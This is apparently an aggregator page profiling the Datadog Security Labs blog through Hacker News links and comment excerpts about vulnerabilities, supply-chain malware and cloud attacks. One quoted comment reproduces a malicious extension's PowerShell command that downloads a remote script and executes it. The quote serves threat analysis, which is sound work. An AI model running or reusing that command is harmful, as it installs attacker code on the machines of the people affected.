Top all-time · #2339
Datadog Security Labs
Company blog · securitylabs.datadoghq.com/articlessecurity
Datadog Security Labs is the company blog at securitylabs.datadoghq.com, writing about security. Since 2022, 31 different Hacker News readers have linked it 41 times, most often “Investigating a backdoored PyPI package targeting FastAPI applications”. It is still writing: the last post was on 2026-10-29, and you can follow it by feed.
Too few sampled comments (10) to say how often HN recommends it.?
Why HN links it
Datadog Security Labs publishes security research on vulnerabilities and attacks, such as OpenSSL bugs, Entra ID attacks, malicious packages and AWS IAM risks. Commenters mostly cite its posts as sources.
Summarised by Claude from a sample of 10 HN comments that link here. Each comment is marked recommending, critical or neutral (citing without judging); how this works.
Datadog Security Labs is the place to read blog content about security research and tooling published by Datadog for the community.
Most-linked posts?
- Investigating a backdoored PyPI package targeting FastAPI applications2 people · 2 mentions · first linked 2022-11-23
- I Spy: Escalating to Entra ID's Global Admin with a First-Party App2 people · 2 mentions · first linked 2025-07-20
- A Confused Deputy Vulnerability in AWS AppSync2 people · 2 mentions · first linked 2022-11-21
- AWS CloudTrail vulnerability: Undocumented API allows CloudTrail bypass2 people · 2 mentions · first linked 2023-01-17
- Escaping containers using the Dirty Pipe vulnerability2 people · 2 mentions · first linked 2023-05-26
What Hacker News says?
I liked this write up: https://securitylabs.datadoghq.com/articles/openssl-november...
Comment linking /articles/openssl-november-1-vulnerabilities/
on “OpenSSL 3.0.7 fixes X.509 email address buffer overflows”Submitted Investigating a backdoored PyPI package targeting FastAPI applications as a story · 138 points
HN discussionI feel like I remember a similar attack related to Entra ID from a while ago, although I can't remember exactly what it was (maybe [0] or [1]?).. I understand that this is a complex system, but I would be concerned with the number of relatively high severity vulnerabilities being found in it. [0]: https://securitylabs.datadoghq.com/articles/i-spy-escalating... [1]: https://www.semperis.com/blog/unoauthorized-privile…
Comment linking /articles/i-spy-escalating-to-entra-id-global-admin/
on “One Token to rule them all – Obtaining Global Admin in every Entra ID tenant”Submitted Investigating a backdoored PyPI package targeting FastAPI applications as a story · 12 points
HN discussionAuthor here - sorry you feel like this is content marketing. I identify myself as a cloud security engineer, so that's a clear antigoal. The intent is to show what's the systematic adoption of cloud security controls _that matter_, based on real-world data breaches. We also published a follow-up post[1] with actionable advice for practitioners on how to turn on some of these mechanisms (such as S3 Public Access Bloc…
Comment linking /articles/state-of-aws-cloud-security-followup/
on “The State of AWS Security”Submitted Git vulnerable to arbitrary file write on non-Windows systems as a story · 6 points
HN discussionHello! One of the authors here. We did release some (hopefully) actionable guidance alongside the study[1]. Trusted Advisor is a fair point, but note that most of its security checks only come with the Business or above AWS support plan. IAM Access Analyzer is a great service but it currently supports only 6 resource types[2]. We'll look into adding both, appreciate the feedback! [1]: https://securitylabs.datadoghq.…
Comment linking /articles/state-of-aws-cloud-security-followup/
on “The State of AWS Security”Submitted A Confused Deputy Vulnerability in AWS AppSync as a story · 6 points
HN discussionPyPi, but yes. https://securitylabs.datadoghq.com/articles/guarddog-identif... . The link also mentions that PHP has been attacked in this way. As has rust. https://blog.rust-lang.org/2022/05/10/malicious-crate-rustde...
Comment linking /articles/guarddog-identify-malicious-pypi-packages/
on “'everything' blocks devs from removing their own NPM packages”Submitted Supply-Chain Firewall: Protecting Developers from Malicious Open Source Packages as a story · 5 points
HN discussionAnd they didn't even mention the last CVE¹, the most compelling reason to move off. 1. https://securitylabs.datadoghq.com/articles/nextjs-middlewar...
Comment linking /articles/nextjs-middleware-auth-bypass/
on “We Moved Off Next.js”Submitted Discovering and exploiting a remote code execution vulnerability in OpenCode as a story · 4 points
HN discussionOriginal discovery by datadog: Threat actor MUT-1244 targets offensive actors, leaking hundreds of thousands of credentials https://securitylabs.datadoghq.com/articles/mut-1244-targeti...
Comment linking /articles/mut-1244-targeting-offensive-actors/
on “390k WordPress accounts stolen from hackers in supply chain attack”Submitted React2Shell (CVE-2025-55182): A Log4Shell Moment for the Front End Ecosystem as a story · 4 points
HN discussionrestrict code.exe to an allowlist. Also, many malicious actors rely on system commands to download or exfiltrate data. Take for example this activity from a malicious extension: This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers. powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex" This PowerShell comman…
Comment linking /articles/mut-9332-malicious-solidity-vscode-extensions/
on “GitHub confirms breach of 3,800 repos via malicious VSCode extension”Submitted The Shai-Hulud 2.0 npm worm: analysis, and what you need to know as a story · 4 points
HN discussionSource: https://securitylabs.datadoghq.com/articles/iamadmin-cloudtr...
Comment linking /articles/iamadmin-cloudtrail-bypass/
on “AWS had a dangerous undocumented API”Submitted IDE-SHEPHERD: Your shield against threat actors lurking in your IDE as a story · 3 points
HN discussionMultiple CVEs for escaping? E.g.: * https://blog.aquasec.com/cve-2022-0185-linux-kernel-containe... * https://securitylabs.datadoghq.com/articles/dirty-pipe-conta... * https://snyk.io/learn/docker-security/top-5-vulnerabilities/ * https://www.container-security.site/attackers/container_brea... The only escaping of jails that I've heard of in the last ~20 years is one not in the jails code, but tunnelling out through…
Comment linking /articles/dirty-pipe-container-escape-poc/
on “Jails on FreeBSD”Submitted RedisRaider: Weaponizing misconfigured Redis to mine cryptocurrency at scale as a story · 3 points
HN discussionSubmitted GuardDog (Datadog open source Supply chain security) 1.0 with NPM support as a story · 3 points
HN discussionSubmitted AWS CloudTrail vulnerability: Undocumented API allows CloudTrail bypass as a story · 3 points
HN discussionSubmitted Finding malicious PyPI packages through static code analysis: Meet GuardDog as a story · 3 points
HN discussionSubmitted Demystifying the OpenSSL punycode vulnerability and exploitation walk-through as a story · 3 points
HN discussionSubmitted Putting models to the secure coding test: Plan vs. default mode as a story · 2 points
HN discussionSubmitted Worm compromises popular NPM packages as a story · 2 points
HN discussionSubmitted I Spy: Escalating to Entra ID's Global Admin with a First-Party App as a story · 2 points
HN discussionSubmitted WhoAMI: A cloud image name confusion attack as a story · 2 points
HN discussionSubmitted Malicious PyPI packages targeting highly specific macOS machines as a story · 2 points
HN discussionSubmitted Cloud Breaches of 2022 as a story · 2 points
HN discussion
